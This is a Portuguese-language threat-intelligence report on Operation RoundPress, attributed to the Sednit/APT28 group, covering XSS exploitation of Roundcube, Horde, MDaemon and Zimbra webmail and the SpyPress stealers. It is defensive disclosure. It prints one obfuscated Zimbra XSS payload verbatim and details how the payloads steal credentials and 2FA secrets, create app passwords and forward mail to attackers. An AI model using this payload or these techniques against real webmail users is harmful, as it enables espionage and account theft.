Este post apresenta a operação que denominamos RoundPress, voltada à exploração de vulnerabilidades XSS em servidores de webmail de alto valor. Atribuímos com confiança moderada sua autoria ao grupo de ciberespionagem Sednit. O objetivo da campanha é o roubo de dados confidenciais de contas de e-mail específicas.

Principais pontos deste post:
  • Na Operação RoundPress, o vetor de comprometimento é um e-mail de spearphishing que aproveita uma vulnerabilidade XSS para injetar código JavaScript malicioso na página de webmail da vítima.
  • Em 2023, a Operação RoundPress visava apenas o Roundcube, mas em 2024 ela se expandiu para outros softwares de webmail, incluindo Horde, MDaemon e Zimbra.
  • Para a empresa do software MDaemon, o Sednit usou uma vulnerabilidade XSS de zero-day. Informamos a vulnerabilidade aos desenvolvedores no dia 01 de novembro de 2024 e ela foi corrigida na versão 24.5.1.
  • A maioria das vítimas são órgãos governamentais e empresas de defesa na Europa Oriental, embora tenhamos observado que governos na África, Europa e América do Sul também estão sendo visados.
  • Fornecemos uma análise dos payloads JavaScript SpyPress.HORDE, SpyPress.MDAEMON, SpyPress.ROUNDCUBE e SpyPress.ZIMBRA.
  • Esses payloads mencionados no item anterior são capazes de roubar credenciais de webmail e exfiltrar contatos e mensagens de e-mail da caixa de entrada da vítima.
  • O SpyPress.MDAEMON é capaz de configurar ações para burlar a autenticação de dois fatores.

Perfil do grupo Sednit

O grupo Sednit, também conhecido como APT28, Fancy Bear, Forest Blizzard ou Sofacy, está em atividade desde pelo menos 2004. O Departamento de Justiça dos EUA apontou o grupo como um dos responsáveis pela invasão do Comitê Nacional Democrata (DNC) pouco antes das eleições de 2016 nos EUA e vinculou o Sednit ao GRU. Presume-se que o grupo também esteja por trás da invasão da rede de televisão global TV5Monde, do vazamento de e-mails da Agência Mundial Antidoping (WADA) e de muitos outros incidentes. O Sednit tem um conjunto diversificado de ferramentas de malware em seu arsenal, vários exemplos dos quais documentamos anteriormente em nosso white paper sobre o Sednit que foi publicado em 2016.

Ligações com o grupo Sednit

Em 29 de setembro de 2023, detectamos um e-mail de spearphishing, parte da Operação RoundPress, enviado de katecohen1984@portugalmail[.]pt (endereço envelope-from). O e-mail explorava a falha CVE-2023-43770 no Roundcube. Esse endereço de e-mail é muito semelhante aos usados em outras campanhas do Sednit em 2023, conforme documentado pela Unit42, por exemplo.

Aproveitando uma varredura de rede que executamos em fevereiro de 2022, encontramos o servidor 45.138.87[.]250 / ceriossl[.]info, que foi configurado da mesma forma única que 77.243.181[.]238 / global-world-news[.]net. O primeiro foi mencionado em uma postagem do blog da Qianxin descrevendo uma campanha que explorava a falha CVE-2023-23397 e que que era atribuída ao Sednit. O último é um domínio usado na Operação RoundPress em 2023.

Considerando esses dois elementos, acreditamos com confiança média que a Operation RoundPress foi articulada pelo grupo cibercriminoso Sednit.

Vitimologia

A Tabela 1 e a Figura 1 detalham os alvos da Operação RoundPress em 2024, a partir da telemetria da ESET e de duas amostras no VirusTotal.

A maioria dos alvos está relacionada à atual guerra na Ucrânia; são órgãos governamentais ucranianas ou empresas de defesa na Bulgária e na Romênia. Notavelmente, algumas dessas empresas de defesa estão produzindo armas da era soviética para serem enviadas à Ucrânia.

Outros alvos incluem governos da África, da União Europeia e da América do Sul.

Tabela 1. Vítimas da Operação RoundPress em 2024.

Date Country Sector
2024-05 Greece National government.
Romania Unknown (VirusTotal submission).
Ukraine Specialized Prosecutor’s Office in the Field of Defense of the Western Region (VirusTotal submission).
2024-06 Bulgaria Telecommunications for the defense sector.
Cameroon National government.
Ukraine Military.
2024-07 Ecuador Military.
Ukraine Regional government.
Serbia National government.
2024-09 Cyprus An academic in environmental studies.
Romania Defense company.
Ukraine Military.
2024-10 Bulgaria Defense company.
2024-11 Bulgaria Defense company (not the same as in 2024-10).
Ukraine Civil air transport company.
Defense company.
2024-12 Ukraine State company in the transportation sector.

Figure 1. Map of Operation RoundPress victims in 2024
Figura 1. Mapa das vítimas da Operação RoundPress em 2024.

Cadeia de comprometimento

Acesso inicial

Em 2023, o Sednit estava explorando a falha CVE-2020-35730, uma vulnerabilidade XSS conhecida no Roundcube (veja este post do CERT-UA e este relatório do Recorded Future), que permite o carregamento de código JavaScript arbitrário no contexto da janela do webmail.

Em 2024, observamos diferentes vulnerabilidades XSS sendo usadas para atingir outros softwares de webmail: Horde, MDaemon e Zimbra. O Sednit também começou a usar uma vulnerabilidade mais recente no Roundcube, CVE-2023-43770. A vulnerabilidade do MDaemon (CVE-2024-11182, agora corrigida) foi uma falha zero-day, provavelmente descoberta pelo Sednit, enquanto as do Horde, Roundcube e Zimbra já eram conhecidas e corrigidas.

O Sednit envia exploits do XSS por e-mail que levam à execução de código JavaScript malicioso no contexto da página da Web do cliente de webmail em execução em uma janela do navegador. Portanto, somente os dados acessíveis da conta da vítima podem ser lidos e exfiltrados.

Observe que, para que a exploração da falha funcione, o alvo deve ser convencido a abrir a mensagem de e-mail no portal de webmail vulnerável. Isso significa que o e-mail precisa contornar qualquer filtragem de spam e a linha de assunto precisa ser convincente o suficiente para induzir o alvo a ler a mensagem de e-mail.

A Figura 2 resume a cadeia de comprometimento usada na Operação RoundPress.

Figure 2. Operation RoundPress compromise chain
Figura 2. Cadeia de comprometimento da Operação RoundPress.

Em geral, a mensagem de e-mail parece inofensiva e contém texto sobre eventos noticiosos. Por exemplo, no dia 11 de setembro de 2024, um alvo ucraniano recebeu um e-mail de phishing de kyivinfo24@ukr[.]net com o assunto СБУ схопила банкіра, який працював на ворожу воєнну розвідку в Харкові (tradução livre: SBU prendeu um banqueiro que trabalhava para a inteligência militar inimiga em Kharkiv). O corpo da mensagem - veja a Figura 3 - contém trechos (em ucraniano) e links para artigos do Kyiv Post, um conhecido jornal da Ucrânia. O código malicioso que aciona a vulnerabilidade XSS está dentro do código HTML do corpo da mensagem de e-mail e não está diretamente visível para o usuário.

Figure 3. Malicious email message sent by Sednit
Figura 3. Mensagem de e-mail enviada pelo grupo Sednit.

Outro exemplo é um e-mail do office@terembg[.]com para um alvo búlgaro no dia 08 de de novembro de 2024, com o assunto Путин се стреми Тръмп да приеме руските условия вдвустранните отношения (tradução livre: Putin busca a aceitação de Trump das condições russas nas relações bilaterais). O corpo da mensagem - veja a Figura 4 - contém novamente trechos (em búlgaro) e links para artigos do News.bg, um legítimo jornal búlgaro.

Figure 4. Another malicious email sent by Sednit
Figura 4. Outro e-mail malicioso enviado pelo Sednit.

Vale destacar que essas vulnerabilidades não são exploradas apenas por esse grupo. Outros grupos, como o GreenCube (também conhecido como UNC3707) e o Winter Vivern, também têm se aproveitado delas.

Horda: Exploit desconhecido

Para alvos que usam o webmail Horde, vimos o Sednit usando uma vulnerabilidade antiga. Não conseguimos encontrar a vulnerabilidade exata, mas ela parece ser uma falha de XSS que já foi corrigida na primeira versão do Xss.php enviada ao GitHub e no Horde Webmail 1.0, que foi lançado em 2007.

O exploit utilizado pelo Sednit é ilustrado na Figura 5. A técnica empregada consiste na inserção de código JavaScript malicioso no atributo onerror de um elemento img, uma abordagem clássica de XSS. Como o atributo src é definido como x — um valor inválido — o evento onerror é acionado, desencadeando a execução do payload. Este, por sua vez, é decodificado de base64 e executado por meio do window.parent.eval.
Figure 5. Horde webmail exploit
Figura 5. Exploit do Horde Webmail.

Na versão 1.0 do Horde Webmail, o filtro XSS remove os elementos de estilo e os atributos on*, como onerror. Portanto, acreditamos que o Sednit cometeu um erro e tentou usar um exploit que não estava funcionando.

MDaemon: CVE-2024-11182

No dia 01 de novembro de 2024, detectamos uma mensagem de e-mail enviada a duas empresas estatais de defesa ucranianas e a uma empresa de transporte aéreo civil da Ucrânia.

Essa mensagem explorava uma vulnerabilidade XSS de zero-day no servidor de e-mail MDaemon, na renderização de código HTML não confiável em mensagens de e-mail. Relatamos a vulnerabilidade aos desenvolvedores em 1º de novembro de 2024 e ela foi corrigida na versão 24.5.1, lançada em 14 de novembro do mesmo ano. Posteriormente, a vulnerabilidade recebeu o identificador CVE-2024-11182.

O exploit utilizado pelo Sednit é mostrado na Figura 6. Assim como no Horde, ele se baseia em um elemento img especialmente criado, mas usa um bug no analisador HTML do MDaemon em que uma tag final noembed inserida no atributo title de um elemento p engana o analisador para que ele renderize a tag img imediatamente seguinte.

Figure 6. Exploit for CVE-2024-11182 in MDaemon
Figura 6. Exploit para a falha CVE-2024-11182 no MDaemon.

Roundcube: CVE-2023-43770

Em ataques direcionados a usuários do webmail Roundcube, o Sednit explorou, em 2023, a vulnerabilidade XSS identificada como CVE-2020-35730. Já em 2024, o grupo passou a utilizar a falha CVE-2023-43770.

A vulnerabilidade mais recente foi corrigida em14 de setembro de 2023 neste commit do GitHub. A correção está em um regex no script rcube_string_replacer.php. O exploit usado pelo Sednit é bastante simples e está representado na Figura 7.

Figure 7. Exploit for CVE-2023-43770 in Roundcube
Figura 7. Exploit para a falha CVE-2023-43770 no Roundcube.

No arquivo rcube_string_replacer.php, os URLs são convertidos em hiperlinks, sendo o texto do link determinado pelo conteúdo entre o conjunto externo de colchetes. O problema está na falta de higienização adequada desse texto: caracteres como < e > são permitidos, o que abre espaço para a injeção de código JavaScript. Dessa forma, um invasor pode inserir um trecho como <script>...</script>, que é incorporado diretamente à página quando o e-mail é renderizado no Roundcube.

Zimbra: CVE-2024-27443 / ZBUG-3730

Para o Zimbra, o Sednit usa o CVE-2024-27443 (também rastreado como ZBUG-3730). A falha foi corrigida em 1º de março de 2024 neste commit do GitHub, no arquivo ZmInviteMsgView.js. A vulnerabilidade está na falha de sanitização do atributo cif (calendar intended for), em um convite de calendário enviado por e-mail.

O atributo cif é preenchido a partir do cabeçalho de e-mail X-Zimbra-Calendar-Intended-For. Antes da correção, o valor era adicionado diretamente à página HTML do Zimbra sem sanitização. Isso permitia a execução de código JavaScript malicioso no contexto da janela do navegador do webmail.

O código de exploração que encontramos nesse cabeçalho é o seguinte:

Zimbra Calendar<img/alt=''/src='Zimbra-Calendar'/onerror=\"window[(function(tmz){ghwa='cxe';return '\\x65'+decodeURI('%76')+'\\x61\\x6c'})()](window[(function(jvqka){const kqd=decodeURI('%61')+'\t'+decodeURI('%6F')+'\\x62'; oykbg='doix'; return kqd})()](frames[0].document.getElementById('a-cashed-skinLayout2')['\inn\e\r\T\e\xt']))\">

O código embelezado contido no atributo onerror é:

window['eval'](window[(function(jvqka){'atob'()](frames[0].document.getElementById('a-cashed-skinLayout2')['innerText']))

Basicamente, isso lê o texto contido em um elemento div, identificado pelo ID a-cashed-skinLayout2, que está presente no corpo do convite do calendário. Esse elemento div usa o atributo style com o valor display:none para que não fique visível para o alvo. O texto interno contém código JavaScript codificado em base64 que é executado usando eval.

Persistência

Os payloads JavaScript (SpyPress) carregados pelas vulnerabilidades XSS não têm persistência real, mas são recarregados sempre que a vítima abre o e-mail malicioso.

Além disso, detectamos alguns payloads do SpyPress.ROUNDCUBE que têm a capacidade de criar regras Sieve. O SpyPress.ROUNDCUBE cria uma regra que envia uma cópia de cada e-mail recebido para um endereço de e-mail controlado pelo cibercriminoso. As regras Sieve são um recurso do Roundcube e, portanto, a regra será executada mesmo que o script malicioso não esteja mais em execução.

Acesso a credenciais

Todos os payloads do SpyPress têm a capacidade de roubar credenciais de webmail ao tentar enganar o navegador ou o gerenciador de senhas para preencher as credenciais de webmail em um formulário oculto. Além disso, algumas amostras também tentam enganar a vítima, desconectando-a de sua conta de webmail e exibindo uma página de login falsa.

Coleta e exfiltração

A maioria dos payloads do SpyPress coleta mensagens de e-mail e informações de contato da caixa de correio da vítima. Os dados são então exfiltrados por meio de uma solicitação HTTP POST para um servidor C&C codificado.

Conjunto de ferramentas

Em 2024, observamos o Sednit usando quatro payloads na Operação RoundPress: SpyPress.HORDE, SpyPress.MDAEMON, SpyPress.ROUNDCUBE e SpyPress.ZIMBRA. Eles são injetados no contexto do webmail das vítimas usando vulnerabilidades XSS, conforme explicado acima.

Os quatro payloads têm características comuns. Todos são ofuscados de forma semelhante, com nomes de variáveis e funções substituídos por cadeias de caracteres de aparência aleatória - veja a Figura 8. Além disso, as cadeias de caracteres usadas pelo código, como URLs de webmail e do servidor de C&C, também são ofuscadas e contidas em uma lista criptografada. Cada uma dessas cadeias de caracteres só é descriptografada quando é usada. Observe que os nomes das variáveis e das funções são aleatórios para cada amostra, de modo que os payloads do SpyPress terão hashes diferentes.

Figure 8. Obfuscation of the JavaScript code
Figura 8. Ofuscação do código JavaScript.

Outra característica comum é que não há mecanismos de persistência ou atualização. O payload está totalmente contida no e-mail e só é executado quando a mensagem de e-mail é visualizada em uma instância vulnerável do webmail.

Por fim, todos os payloads se comunicam com seus servidores C&C codificados por meio de solicitações HTTP POST. Há um pequeno número de servidores C&C que são compartilhados por todos os payloads (não há separação por vítima ou tipo de payload).

SpyPress.HORDE

O SpyPress.HORDE é a carga de JavaScript injetada em instâncias vulneráveis do webmail do Horde. Depois de desofuscado e de as funções e variáveis serem renomeadas manualmente, ele revela sua principal funcionalidade: coleta e exfiltração de credenciais de usuários.

Recursos

Para roubar as credenciais, conforme mostrado na Figura 9, o SpyPress.HORDE cria dois elementos de entrada HTML: horde_user e horde_pass. Sua largura e opacidade são definidas como 0%, garantindo que não sejam visíveis para o usuário. O objetivo é enganar os navegadores e gerenciadores de senhas para que preencham esses valores. Observe que um retorno de chamada para o evento de alteração é criado na entrada horde_pass. Isso chama a função input_password_on_change assim que o elemento de entrada perde o foco depois que seu valor é alterado.

Figure 9. SpyPress.HORDE credential stealer
Figura 9. Ladrão de credenciais do SpyPress.HORDE.

Em seguida, input_password_on_change exfiltra os dados chamando C2_POST_Request, como pode ser visto na Figura 10.

Protocolo de rede

A URL do C&C é codificado no script (veja a Figura 10) e a exfiltração é feita por meio de uma solicitação HTTPS POST.

Os dados do corpo têm um formato específico que é enviado com codificação base64. Por exemplo, bWVAdmljdGltLm9yZyA6OiBweAoKbXl1c2VybmFtZSBteXBhc3N3b3Jk decodifica para:

me@victim.org :: px
 
myusername mypassword

onde px provavelmente significa exfiltração de senha.

Observe que a solicitação HTTP é feita pelo navegador da vítima, portanto, os cabeçalhos HTTP, como o User-Agent, variam de vítima para vítima.

Figure 10. SpyPress.HORDE data exfiltration
Figura 10. Exfiltração de dados do SpyPress.HORDE.

SpyPress.MDAEMON

O SpyPress.MDAEMON é um payload de JavaScript injetado em instâncias vulneráveis do webmail MDaemon. Uma vez desofuscado, ele revela mais funcionalidades do que as implementadas no SpyPress.HORDE:

  • roubo de credenciais (muito semelhante à implementação do SpyPress.HORDE),
  • exfiltração de contatos e histórico de login,
  • exfiltração de mensagens de e-mail,
  • exfiltração do segredo de autenticação de dois fatores e
  • criação de uma senha de aplicativo, que permite que os invasores acessem a caixa de correio de um aplicativo de e-mail e ignorem a proteção 2FA.

Recursos

Ladrão de credenciais

O ladrão de credenciais do SpyPress.MDAEMON é quase idêntico ao do SpyPress.HORDE - veja a Figura 11. A única diferença é o nome dos campos de entrada, que são Usuário e Senha, para corresponder aos nomes oficiais usados no software MDaemon.

Figure 11. SpyPress.MDAEMON credential stealer
Figura 11. Ladrão de credenciais do SpyPress.MDAEMON.
Contatos e histórico de login

O SpyPress.MDAEMON obtém o histórico de login da vítima em https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=Options-Authentication&GetLoginHistory=Yes, e exfiltra o conteúdo para o servidor C&C codificado. Ele usa a mesma função usada na parte do ladrão de credenciais para enviar uma solicitação HTTP POST ao servidor C&C, mas, em vez de px, usa ab como o tipo de mensagem.

Em seguida, conforme mostrado na Figura 12, o script obtém a lista de contatos da vítima em https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=Contacts. Essa lista e os endereços de e-mail associados (na propriedade eml do JavaScript) são então exfiltrados para o servidor C&C.

Figure 12. Exfiltration of login history and contacts
Figura 12. Exfiltração do histórico de login e dos contatos.
Exfiltração de mensagens de e-mail

O SpyPress.MDAEMON navega pelas pastas da caixa de entrada do e-mail da vítima, conforme mostrado na Figura 13, e filtra uma lista codificada de pastas nas quais os cibercriminosos não estão interessados: calendário, notas, documentos, contatos, tarefas, remetentes permitidos e remetentes bloqueados.

Figure 13. SpyPress.MDAEMON browses the victim’s mailbox folders
Figura 13. O SpyPress.MDAEMON navega pelas pastas da caixa entrada do e-mail da vítima.

Em seguida, para cada pasta - conforme ilustrado na Figura 14 - o SpyPress.MDAEMON percorre as páginas e, dentro de cada página, acessa todas as mensagens, exfiltrando cada e-mail para o servidor de comando e controle (C&C).

Para obter uma lista de mensagens de e-mail em uma determinada página de pasta, o SpyPress.MDAEMON busca https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=List&ReturnJavaScript=1&FolderID=<folder_ID>&Sort=RevDate&Page=<page>&UTF8=1.

Em seguida, ele itera sobre essa lista e busca https://<webmail_URL>/WorldClient.dll?Session=<session_ID>& View=Message&Source=Yes&Number=<email_ID>&FolderId=<folder_ID> para obter a origem de cada e-mail.

Finalmente, a origem do e-mail é exfiltrada por meio de uma solicitação HTTP POST para o servidor C&C, usando o tipo de mensagem mail-<folder_name>-<email_ID>. É feita uma solicitação HTTP POST para cada e-mail exfiltrado e, portanto, isso criará uma grande quantidade de tráfego de rede.

Observe que o script mantém uma lista de e-mails exfiltrados, evitando assim a exfiltração várias vezes.

Figure 14. SpyPress.MDAEMON exfiltrates all emails
Figura 14. O SpyPress.MDAEMON filtra todos os e-mails.

Observe também que o ofuscador parece ter introduzido erros no script. Na função download_all_messages_from_folder, is_folder_limit é um nome de variável real que não foi ofuscado. No entanto, ela não é usada em nenhum lugar do código.

Segredo de autenticação de dois fatores

O SpyPress.MDAEMON exfiltra o segredo de autenticação de dois fatores da vítima - veja a Figura 15. Ele primeiro busca https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=Options-Authentication&TwoFactorAuth=Yes&GetSecret=Yes para obter o segredo e, em seguida, envia-o para o servidor C&C, usando o tipo de mensagem 2fa.

Para visualizar o segredo, é necessária a senha, que o SpyPress.MDAEMON obtém do formulário de login falso que ele criou. Esse segredo é equivalente ao código QR mencionado na documentação do MDaemon e pode ser usado para registrar a conta em um aplicativo de autenticação, para então gerar um código 2FA válido para a conta da vítima. Como o SpyPress.MDAEMON adquire a senha e o segredo 2FA, os cibercriminosos podem fazer login diretamente na conta.

Figure 15. SpyPress.MDAEMON exfiltrates the 2FA secret
Figura 15. O SpyPress.MDAEMON exfiltra o segredo da autenticação em dois fatores.
Criação de senha de aplicativo

Além de roubar o segredo da autenticação em dois fatores, o SpyPress.MDAEMON cria uma senha de aplicativo (veja a documentação). Essa senha pode ser utilizada em um cliente de e-mail para envio e recebimento de mensagens, sem a necessidade de inserir o código de autenticação em dois fatores (2FA), mesmo que a 2FA esteja ativada na conta. Vale destacar que o webmail do MDaemon aparentemente não exige o código 2FA para gerar uma nova senha de aplicativo.

Conforme mostrado na Figura 16, o SpyPress.MDAEMON busca https://<webmail_URL>/WorldClient.dll?Session=<session_ID>&View=Options-Authentication&CreateAppPassword=1s para criar uma nova senha de aplicativo. A resposta é essa senha, que é exfiltrada para o servidor C&C com o tipo de mensagem create-app.

Em outras palavras, essa senha de aplicativo permite que os cibercriminosos adicionem a conta de e-mail diretamente ao seu próprio cliente de e-mail. Dessa forma, eles podem manter o acesso à caixa de entrada do e-mail, mesmo que a senha principal da conta da vítima seja alterada ou que o código 2FA seja alterado.

Figure 16. SpyPress.MDAEMON creates an application password
Figura 16. O SpyPress.MDAEMON cria uma senha para o aplicativo.

Protocolo de rede

O SpyPress.MDAEMON usa o mesmo protocolo de rede que o SpyPress.HORDE.

SpyPress.ROUNDCUBE

O SpyPress.ROUNDCUBE é o payload JavaScript injetado em instâncias vulneráveis do webmail Roundcube. Uma vez desofuscado, ele revela funcionalidades semelhantes às implementadas no SpyPress.MDAEMON:

  • roubo de credenciais,
  • exfiltração do catálogo de endereços e da página sobre,
  • exfiltração de e-mails e
  • regras maliciosas do Sieve.

Recursos

Roubador de credenciais

O ladrão de credenciais do SpyPress.ROUNDCUBE tem dois recursos. O primeiro é quase idêntico ao ladrão de credenciais do SpyPress.HORDE e do SpyPress.MDAEMON. A única diferença é o nome dos campos de entrada, que são _user e _pass, para corresponder aos nomes oficiais usados no software Roundcube.

O segundo recurso é um pouco mais intrusivo. O SpyPress.ROUNDCUBE cria um iframe, conforme mostrado na Figura 17, com o atributo src definido como https://<webmail_URL>/?_task=logout&_token=<CSRF_token>. Isso faz com que a vítima saia do sistema, forçando-a a digitar novamente suas credenciais. O SpyPress.ROUNDCUBE adiciona um retorno de chamada no botão de envio do formulário de login genuíno. Por fim, as credenciais são exfiltradas para o servidor C&C hardcodeado usando o tipo de mensagem pax-fish.

Figure 17. SpyPress.ROUNDCUBE creates an iframe to log out the victim
Figura 17. O SpyPress.ROUNDCUBE cria um iframe para fazer o logout da vítima.

Observe que o token CSRF é recuperado da variável rcmail.env.request_token. A variável global rcmail é gerenciada e preenchida pela instância do Roundcube e acessível no contexto JavaScript em que o SpyPress.ROUNDCUBE está sendo executado.

Extração não autorizada da agenda de contatos e da página institucional

O SpyPress.ROUNDCUBE busca o catálogo de endereços em
https://<webmail_URL>/?_task=addressbook&_source=0&_action=export&&_token=<CSRF_token> e envia a saída bruta para o servidor C&C.

Da mesma forma, o SpyPress.ROUNDCUBE busca a página "about" em https://<webmail_URL>/?_task=settings&_framed=1&_action=about e envia a saída bruta para o servidor de C&C.

Essa página contém informações sobre a versão do Roundcube e os plug-ins instalados, conforme mostrado na Figura 18.

Figure 18. Example of Roundcube about page
Figura 18. Exemplo da página “Sobre” do Roundcube.
Exfiltração de mensagens de e-mail

O SpyPress.ROUNDCUBE inicia a rotina de exfiltração de e-mail a cada 7.200 segundos (duas horas).

Primeiro, ele obtém a lista de caixas de correio da variável global rcmail.env.mailboxes. Em seguida, ele itera sobre todas essas caixas de correio; para cada uma delas, itera sobre as páginas para obter os IDs das mensagens de e-mail, buscando https://<webmail_URL>/?_task=mail&_action=list&_mbox=<mailbox_name>&_refresh=1&_remote=1&_page=<current_page>. Observe que o SpyPress.ROUNDCUBE adiciona o cabeçalho HTTP X-Roundcube-Request, que contém o token CSRF.

Observe também que há um limite inferior de tempo codificado no script, 6:02:03 am, em 1º de outubro de 2024 na amostra específica de script que analisamos, e somente os e-mails mais recentes do que isso são exfiltrados.

A origem de cada mensagem de e-mail é obtida de
https://<webmail_URL>/?_task=mail&_mbox=<mailbox>&_uid=<email_ID>&_action=viewsource e, em seguida, exfiltrada para o servidor C&C.

Observe que, se o SpyPress.ROUNDCUBE exfiltrar mais de 150 e-mails em uma única execução, ele interrompe a operação até a próxima rotina de filtragem de e-mails, que ocorre duas horas depois. Essa limitação provavelmente visa reduzir o tráfego na rede da vítima e evitar a detecção.

Regras Sieve maliciosas

Em algumas amostras do SpyPress.ROUNDCUBE, há uma funcionalidade adicional relacionada às regras do Sieve - veja a Figura 19. O SpyPress.ROUNDCUBE cria uma regra que envia uma cópia de cada mensagem de e-mail recebida para um endereço de e-mail controlado pelo invasor(srezoska@skiff[.]com, nesse caso). O Skiff era um serviço de e-mail voltado para a privacidade que fornecia criptografia de ponta a ponta.

Figure 19. SpyPress.ROUNDCUBE creates a malicious Sieve rule
Figura 19. O SpyPress.ROUNDCUBE cria uma regra Sieve com finalidade maliciosa.

Protocolo de rede

O SpyPress.ROUNDCUBE usa o mesmo protocolo de rede que o SpyPress.HORDE.

SpyPress.ZIMBRA

O SpyPress.ZIMBRA é o payload JavaScript injetado em instâncias vulneráveis do webmail do Zimbra. Uma vez desofuscado, ele revela funcionalidades semelhantes aos payloads anteriores:

  • roubo de credenciais,
  • exfiltração de contatos e configurações, e
  • exfiltração de mensagens de e-mail.

Recursos

Roubador de credenciais

O ladrão de credenciais do SpyPress.ZIMBRA é quase idêntico ao do SpyPress.HORDE e do SpyPress.MDAEMON. A única diferença é o nome dos campos de entrada, que são nome de usuário e senha, para corresponder aos nomes oficiais usados no software Zimbra.

Exfiltração de contatos e configurações

O SpyPress.ZIMBRA obtém a lista de contatos da vítima fazendo uma solicitação SOAP ao endpoint da API do Zimbra https://<webmail_URL>/service/soap/SearchRequest. Conforme mostrado na Figura 20, a consulta de pesquisa está contida em um dicionário que é enviado ao servidor do Zimbra no corpo de uma solicitação POST. Finalmente, o SpyPress.ZIMBRA exfiltra a saída bruta para o servidor C&C.

Figure 20. SpyPress.ZIMBRA gets the victim’s contact list
Figura 20. O SpyPress.ZIMBRA obtém a lista de contatos da vítima.

rmazena diversos valores de configuração e preferências. Esse comportamento é semelhante ao do SpyPress.ROUNDCUBE, que exfiltra a página "Sobre".

Exfiltração de e-mail

A cada 14.400 segundos (quatro horas), usando a função setInterval, esse payload inicia sua rotina de exfiltração de e-mail.

Como nos payloads anteriores, o SpyPress.ZIMBRA primeiro lista as pastas e, em seguida, itera sobre os primeiros 80 e-mails em cada pasta por meio de uma solicitação SOAP para https://<webmail_URL>/service/soap/SearchRequest. Para cada mensagem, o script obtém a fonte em https://<webmail_URL>/service/home/~/?auth=co&view=text&id=<email_ID> e, em seguida, exfiltra a fonte da mensagem de e-mail - veja a Figura 21.

Figure 21.SpyPress.ZIMBRA exfiltrates email messages
Figura 21. O SpyPress.ZIMBRA exfiltra mensagens de e-mail.

Protocolo de rede

O SpyPress.ZIMBRA usa o mesmo protocolo de rede que o SpyPress.HORDE.

Conclusão

Nos últimos dois anos, servidores de webmail como Roundcube e Zimbra têm sido alvos principais de diversos grupos de espionagem, como Sednit, GreenCube e Winter Vivern. Como muitas organizações não mantêm esses servidores atualizados e as vulnerabilidades podem ser exploradas remotamente via envio de mensagens de e-mail, os cibercriminosos encontram nessas plataformas um alvo conveniente para o roubo de informações.

Indicadores de Comprometimento

Uma lista abrangente de indicadores de comprometimento (IoCs) e amostras pode ser encontrada em nosso repositório no GitHub.

Arquivos

SHA-1 Filename Detection Description
41FE2EFB38E0C7DD10E6009A68BD26687D6DBF4C N/A JS/Agent.RSO SpyPress.ZIMBRA.
60D592765B0F4E08078D42B2F3DE4F5767F88773 N/A JS/Exploit.Agent.NSH XSS exploit for CVE-2023-43770.
1078C587FE2B246D618AF74D157F941078477579 N/A JS/Exploit.Agent.NSH SpyPress.ROUNDCUBE.
8EBBBC9EB54E216EFFB437A28B9F2C7C9DA3A0FA N/A HTML/Phishing.Agent.GNZ XSS exploit for CVE-2024-11182.
F95F26F1C097D4CA38304ECC692DBAC7424A5E8D N/A HTML/Phishing.Agent.GNZ SpyPress.MDAEMON.
2664593E2F5DCFDA9AAA1A2DF7C4CE7EEB1EDBB6 N/A JS/Agent.SJU Probable XSS exploit for Horde.
B6C340549700470C651031865C2772D3A4C81310 N/A JS/Agent.SJU SpyPress.HORDE.
65A8D221B9ECED76B9C17A3E1992DF9B085CECD7 N/A HTML/Phishing.Gen SpyPress.ROUNDCUBE.
6EF845938F064DE39F4BF6450119A0CDBB61378C N/A N/A Email exploiting CVE-2023-43770, found on VirusTotal.
8E6C07F38EF920B5154FD081BA252B9295E8184D N/A JS/Agent.RSP SpyPress.ROUNDCUBE.
AD3C590D1C0963D62702445E8108DB025EEBEC70 N/A JS/Agent.RSN SpyPress.ZIMBRA.
EBF794E421BE60C9532091EB432C1977517D1BE5 N/A JS/Agent.RTD SpyPress.ROUNDCUBE.
F81DE9584F0BF3E55C6CF1B465F00B2671DAA230 N/A JS/Agent.RWO SpyPress.ROUNDCUBE.
A5948E1E45D50A8DB063D7DFA5B6F6E249F61652 N/A JS/Exploit.Agent.NSG XSS exploit for CVE-2023-43770.

Rede

IP Domain Hosting provider First seen Details
185.225.69[.]223 sqj[.]fr 23VNet Kft. 2024‑06‑01 SpyPress C&C server.
193.29.104[.]152 tgh24[.]xyz
tuo[.]world
GLOBALAXS NOC PARIS 2024‑06‑04 SpyPress C&C server.
45.137.222[.]24 lsjb[.]digital Belcloud Administration 2024‑07‑03 SpyPress C&C server.
91.237.124[.]164 jiaw[.]shop HOSTGNOME LTD 2023‑09‑28 SpyPress C&C server.
185.195.237[.]106 hfuu[.]de Network engineer 2024‑06‑03 SpyPress C&C server.
91.237.124[.]153 raxia[.]top Damien Cutler 2024‑06‑03 SpyPress C&C server.
146.70.125[.]79 rnl[.]world GLOBALAXS NOC PARIS 2024‑06‑07 SpyPress C&C server.
89.44.9[.]74 hijx[.]xyz M247 Europe SRL 2024‑07‑05 SpyPress C&C server.
111.90.151[.]167 ikses[.]net Shinjiru Technology Sdn Bhd 2024‑12‑01 SpyPress C&C server.

Técnicas do MITRE ATT&CK

Esta tabela foi criada usando a versão 17 da estrutura MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1583.001 Acquire Infrastructure: Domains Sednit bought domains at various registrars.
T1583.004 Acquire Infrastructure: Server Sednit rented servers at M247 and other hosting providers.
T1587.004 Develop Capabilities: Exploits Sednit developed (or acquired) XSS exploits for Roundcube, Zimbra, Horde, and MDaemon.
T1587.001 Develop Capabilities: Malware Sednit developed JavaScript stealers (SpyPress.HORDE, SpyPress.MDAEMON, SpyPress.ROUNDCUBE, and SpyPress.ZIMBRA) to steal data from webmail servers.
Initial Access T1190 Exploit Public-Facing Application Sednit exploited known and zero-day vulnerabilities in webmail software to execute JavaScript code in the context of the victim’s webmail window.
Execution T1203 Exploitation for Client Execution SpyPress payloads are executed when a victim opens the malicious email in a vulnerable webmail client page.
Defense Evasion T1027 Obfuscated Files or Information SpyPress payloads are obfuscated with an unknown JavaScript obfuscator.
Credential Access T1187 Forced Authentication SpyPress payloads can log out users to entice them into entering their credentials in a fake login form.
T1556.006 Modify Authentication Process: Multi-Factor Authentication SpyPress.MDAEMON can steal the 2FA token and create an application password.
Discovery T1087.003 Account Discovery: Email Account SpyPress payloads get information about the email account, such as the contact list.
Collection T1056.003 Input Capture: Web Portal Capture SpyPress payloads try to steal webmail credentials by creating a hidden login form, to trick the browser and password managers into filling the credentials.
